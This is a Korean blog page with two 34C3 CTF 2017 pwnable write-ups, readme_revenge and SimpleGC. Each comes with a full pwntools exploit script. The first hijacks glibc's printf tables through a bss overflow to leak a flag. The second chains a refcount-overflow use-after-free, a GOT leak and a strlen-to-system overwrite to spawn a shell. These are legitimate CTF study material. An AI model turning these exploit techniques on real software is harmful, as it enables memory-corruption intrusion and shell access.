'34C3 CTF'에 해당되는 글 2건

  1. 2018.01.22 [34C3 CTF_2017] readme_revenge(pwnable)
  2. 2018.01.07 [34C3 CTF_2017] SimpleGC(pwnable)
2018. 1. 22. 23:47

## 34C3 CTF_2017(readme_revenge, pwn)


[Summary]

1. printf()함수의 소스코드를 보고 동작 방식을 간략하게 이해해야 한다.

2. __parse_one_specmb() 소스코드를 보고 일반적이지 않은 루틴이 실행되도록 조작해야한다.

3. libc_argv가 조작 가능할 때 이를 이용하는 함수를 찾아본다.

=> __fortify_fails()함수, malloc_printerr()함수, do_dlopen()함수 etc..

4. overflow 시켜 libc_argv, __printf_function_table, __printf_modifier_table, 

__printf_arginfo_table을 조작해 eip를 control 하고 위 함수를 이용해 메모리에 있는 flag를 

출력시킨다.


[Analysys]

 우선 문제를 받아보면 static compile되어 있는 것을 확인할 수 있고, IDA를 통해 디컴파일 해보면

아래 [그림 1]과 같이 정말 간단한 바이너리라는 것을 알 수 있다.


[그림 1] 바이너리 디컴파일(with IDA)


 간단하지만 분석을 해보면 scanf()함수를 이용하여 name이라는 변수에 사용자 입력을 받고 있지

만, 길이 값을 체크하지 않아 오버플로우 취약점이 존재한다. 그리고 입력 받은 값을 printf()함수를 

통해, "Hi, %s. Bye.\n"를 출력한다.


 일단 취약점이 어디서 나타나는지 알고 있으므로, name변수를 살펴보았다.


[그림 2] name


 [그림 2]와 같이 사용자 입력 값이 저장될 name 변수는 bss영역에 존재하고, static compile된 

바이너리기 때문에 library에서 사용하는 각종 variable들도 함께 저장되어 있었다. 그 말은

우리는 name 뒤의 영역에서 library에서 사용하는 변수들을  조작할 수 있다는 말이다. 우선 

조작할 만한 변수를 찾는 것이 중요한데, 나의 경우 일단 crash가 날때 까지 사용자 입력 값을 

넣어보았다. 그랬더니 아래 [그림 3]과 같이 "A"가 1609개 입력되면 크래시가 터졌다.


[그림 3] Crash!


 우선 library에서 사용하는 변수를 의미없는 "A"로 덮어씌우다가 다른 의미없는 것들은 프로그램 

동작에 아무 문제 없었지만 1609번째 덮어씌운 변수에서 문제가 생긴 것이다. 우선 gdb로 확인하

면, __parse_one_specmb()함수에서 Crash가 난 것을 알 수 있고, IDA로 동적 디버깅을 한 결과 

아래 [그림 4]와 같이 "A"가 __printf_function_table변수까지 덮어씌워주는 것을 알 수 있었다. 

그리고 실질적으로 [그림 5]와 같이 __printf_arginfo_table의 값 때문에 crash가 나는 것을 알 수 

있다.


[그림 4] "A"*1609 overflow


[그림 5] crash!


 [그림 5]를 보면 __printf_arginfo_table에서 값을 rcx로 가져와 "mov rax, [rcx+rdx*8]"를 실행하

면서 crash가 나는데 분석해보면 rcx가 0이고, rdx가 0x73이기 때문에 0x398 주소에 접근하면서

segment fault가 나게 된다.


 이제 조작해야할 중요한 변수가 __printf_arginfo_table, __printf_function_table인 것을 알았는데, 

뭘해야할지 몰라서 printf()함수의 소스코드를 살짝 보았다. 우선 위 crash가 터지는 함수인 

__parse_one_specmb()함수의 소스코드를 보면 아래 [코드 1]과 같은 부분을 볼 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...
 
  /* Get the format specification.  */
  spec->info.spec = (wchar_t*format++;
  spec->size = -1;
  if (__builtin_expect (__printf_function_table == NULL1)
      || spec->info.spec > UCHAR_MAX
      || __printf_arginfo_table[spec->info.spec] == NULL
      /* We don't try to get the types for all arguments if the format
         uses more than one.  The normal case is covered though.  If
         the call returns -1 we continue with the normal specifiers.  */
      || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
                                   (&spec->info, 1&spec->data_arg_type,
                                    &spec->size)) < 0)
    {
 
...
 
// ref) https://code.woboq.org/userspace/glibc/stdio-common/printf-parsemb.c.html#49format
cs

[코드 1] __parse_one_specmb() 함수 중 line 307-319 부분

 

 이제 여기서 중요한 것이 있다. 우선 [코드 1]에서 if문안에서 4개의 조건을 OR연산자로 

묶어 놨다. 그런데 여기 4번째 조건을 잘 보면 함수포인터를 이용하여 함수를 실행한다. 

이 때의 함수포인터는 우리가 조작할 수 있었던 __printf_arginfo_table을 참조한다!! 

그렇다면 EIP를 컨트롤 할 수 있다는 말이 된다. 이제 이 조건을 트리거하기만 하면 된다. 


 그런데 if문이 OR연산자로 묶여있을 때 첫 번째 조건이 true이면 뒤의 조건문을 실행하지 않는다.

따라서 앞의 조건들을 false로 맞춰 주어야 한다.


 첫 번째 조건은"__builtin_expect(__printf_function_table == NULL, 1)"인데, __builtin_expect는

gcc에서 사용할 수 있는 키워드이며, 결과가 거의 확실할 때 컴파일러에게 알려주고 fetch과정에서

CPU가 좀더 효율적으로 동작하도록 하는 것이다. 결국 대부분 "__printf_function_table == NULL"

조건은 대부분 참이 되는 것으로 코드가 짜여져 있다. 우선 이 조건을 거짓으로 만들어야 하는데 

우리는 이미 __printf_function_table을 조작하였다.


 나머지 조건도 false로 만들어 주고 4번째 조건의 함수포인터를 활용해 EIP를 컨트롤 하면 된다.

일단 [그림 5]의 assembly에서 보면 위 소스코드의 첫 번째 조건을 확인하고 바로 세 번째 조건을

확인하는 듯하여 __printf_function_table과 __printf_arginfo_table을 의미없는 값으로 덮어씌웠다.

그랬더니 아래 [그림 6]과 같은 부분에서 crash가 났다. __printf_function_table과 

__printf_arginfo_table사이에 __printf_modifier_table이라는 변수가 있는데, 이 값이 NULL이 

아니면 Crash가 나서 취약점이 발생하는 부분까지 가지 않는 것이었다.


[그림 6] __printf_modifier_table이 NULL이 아닐 경우 Crash!


 그래서 __printf_modifier_table은 0으로 맞춰주고, __printf_arginfo_table을 덮어씌워 주었는데

이 때 주의해야할 점은 처음 "mov rax, [rcx+rdx*8]" 에서 crash가 났을 때 rcx값이 0이어서 

0x398메모리 주소에 접근하면서 seg fault가 난 것이므로 이 값은 접근 가능한 메모리 주소가 

되어야 하며 rdx는 항상 0x73이었다. 이를 바탕으로 아래 [그림 7]을 보면 __printf_arginfo_table

"mov rax, [rcx+rdx*8]"가 실행되고 "call rax"가 실행되어 eip를 컨트롤 할 수 있다.


[그림 7] call rax => RIP control!


 이제 RIP까지 컨트롤 할 수 있다. 거의 다했는데 flag를 출력해야 한다. 일단 이것을 하기 위해서는 

4가지 사실을 알아야 한다. 첫째, flag가 메모리 상(0x6b4040)에 존재한다. 둘째, overflow를 통해

__lib_argv를 조작할 수 있다. 셋째, __lib_argv를 사용하는 library error 메시지를 출력하는 함수가

존재한다.(ex. __fortify_fails 등등) 넷째, __lib_argv는 2중 포인터이다.


 그럼 이제 __lib_argv는 flag의 주소가 저장되어 있는 주소로 조작하고, __printf_function_table은

NULL이 아닌 값, __printf_modifier_table은 NULL 값, __printf_arginfo_table은 컨트롤 되기 원하는

주소-0x398으로 조작하여 RIP를 __fortify_fails()함수를 호출하면 아래 [그림 8]과 같이 플래그를

획득할 수 있다.


[그림 8] Get flag!


[Exploit Code]  - readmerevenge_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
#import hexdump
 
context(arch='amd64',os='linux')
local=True
#local=False
 
if local:
    #local_libc = ELF("./libc-2.26.so")
    #p = process("./sgc", env={'LD_PRELOAD':local_libc.path})
    p = process("./readme_revenge")
else:
    #remote_libc = ELF("./libc.so.6")
    p = remote("1.1.1.1"1234)
 
binary = ELF("./readme_revenge")
libc = binary.libc
 
raw_input()
 
bss_name = 0x6b73e0
libc_argv = 0x6b7980
printf_function_table = 0x6b7a28
printf_arginfo_table = 0x6b7aa8
fortify_fail = 0x4359d0
flag_addr = 0x6b4040
 
if __name__ == '__main__':
    
    payload = p64(flag_addr) + "A"*(libc_argv - (bss_name+8))
    payload += p64(bss_name)
    payload    += "A"*(printf_function_table - (libc_argv+8)) + p64(fortify_fail)   # printf_function_table != NULL
    payload += p64(0x0)                                                             # printf_modifier_table = 0x0
    payload += "B"*(printf_arginfo_table - (printf_function_table+8+8))
    payload += p64(printf_function_table - 0x398)
    p.send(payload + '\n')
 
    p.interactive()
cs


끝~!

'CTF writeup' 카테고리의 다른 글

[34C3 CTF_2017] SimpleGC(pwnable)  (0) 2018.01.07
[HITCON CTF_2017] start(pwnable)  (0) 2017.11.22
[CSAW CTF_2017] prophecy(reversing)  (0) 2017.09.21
[HDCON_2017] Fabuary(reversing)  (0) 2017.09.21
[ASIS CTF_2017] mrs. hudson(pwnable)  (0) 2017.09.13
Posted by holinder4S
2018. 1. 7. 17:56

## 34C3 CTF_2017(simpleGC, pwn)


[Summary]

1. C로 Garbage Collection을 구현한 프로그램에서 UAF취약점을 이용하는 문제이다.

2. user Add를 하는 과정에서 group을 변경해도 group의 reference Count가 줄어들지 않는다.

=> 이를 이용하여 byte형 refcount를 0x00으로 만든 후

=> Garbage Collection 스레드에 의해 free된다.

3. user3의 구조체와 과 user1의 group_name 구조체가 공유되도록 만든다.

=> group_name에 strlen got로 변조하면 

=> user3의 group_name_ptr이 strlen got로 변하게 되고

=> leak과 got overwrite가 가능해짐

4. 원래는 libc 2.26버젼에 새롭게 추가된 t-cache를 우회해야 리모트 exploit이 가능.

=> 관련 내용은 차후 추가 예정..


[Exploit Code]  - sgc_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
#import hexdump
 
context(arch='amd64',os='linux')
local=True
#local=False
 
if local:
    #local_libc = ELF("./libc-2.26.so")
    #p = process("./sgc", env={'LD_PRELOAD':local_libc.path})
    p = process("./sgc")
else:
    #remote_libc = ELF("./libc.so.6")
    p = remote("35.198.176.224"1337)
 
binary = ELF("./sgc")
libc = binary.libc
 
raw_input()
 
def print_menu():
    print p.recvuntil("Action: ")
 
def add_user(user_name, group_name, age):
    print_menu()
    p.send('0\n')
    print p.recvuntil("name: ")
    p.send(user_name+'\n')
    print p.recvuntil("group: ")
    p.send(group_name+'\n')
    print p.recvuntil("age: ")
    p.send(str(age)+'\n')
 
def display_user(user_idx):
    print_menu()
    p.send('2\n')
    print p.recvuntil("index: ")
    p.send(str(user_idx)+'\n')
    response = p.recvuntil("0: Add a user")
    return response
 
def edit_group(user_idx, prop, group_name):
    print_menu()
    p.send('3\n')
    print p.recvuntil("index: ")
    p.send(str(user_idx)+'\n')
    print p.recvuntil("group(y/n): ")
    p.send(prop+'\n')
    print p.recvuntil("name: ")
    p.send(group_name+'\n')
 
def delete_user(user_idx):
    print_menu()
    p.send('4\n')
    print p.recvuntil("index: ")
    p.send(str(user_idx)+'\n')
 
if __name__ == '__main__':
    
    ##############################################
    # Stage 1 : overflow group's reference count #
    ##############################################
    for i in xrange(255):
        add_user("AAAA""groupA"10)
        edit_group(0"n""groupC")
        delete_user(0)
    
    add_user("B"*31"groupB"20)
    add_user("A"*31"groupA"20)    # overflow refCnt & user link groupA(freed by GC => free group, group_name_ptr)
    
    ####################################
    # Stage 2 : Trigger UAF & got leak #
    ####################################
    add_user("B"*31"groupB"20)    # group_name_ptr
    add_user("B"*31"groupB"20)    # group
    
    strlen_got = binary.got['strlen']
    edit_group(1"y", p64(20)+p64(strlen_got)+p64(strlen_got))
    response = display_user(3)
    
    strlen_addr = u64(response[response.find("Name: ")+6:response.find("Name: ")+12+ "\x00\x00")
    libc_base = strlen_addr - libc.symbols['strlen']
    system_addr = libc_base + libc.symbols['system']
 
    print "[+] libc base addr : " + hex(libc_base)
    print "[+] system addr : " + hex(system_addr)
    
    #############################################
    # Stage 3-1 : Overwrite got(strlen->system) #
    # Stage 3-2 : make system("/bin/sh")        #
    #############################################
    edit_group(3"y", p64(system_addr))
    add_user("/bin/sh""groupD"20)
    
    p.interactive()
 
cs


[Reference]

1. https://github.com/epadctf/34c3/blob/master/SimpleGC/win.py

2. https://github.com/bkth/34c3ctf/tree/master/SimpleGC

2. http://tukan.farm/2017/07/08/tcache/

'CTF writeup' 카테고리의 다른 글

[34C3 CTF_2017] readme_revenge(pwnable)  (0) 2018.01.22
[HITCON CTF_2017] start(pwnable)  (0) 2017.11.22
[CSAW CTF_2017] prophecy(reversing)  (0) 2017.09.21
[HDCON_2017] Fabuary(reversing)  (0) 2017.09.21
[ASIS CTF_2017] mrs. hudson(pwnable)  (0) 2017.09.13
Posted by holinder4S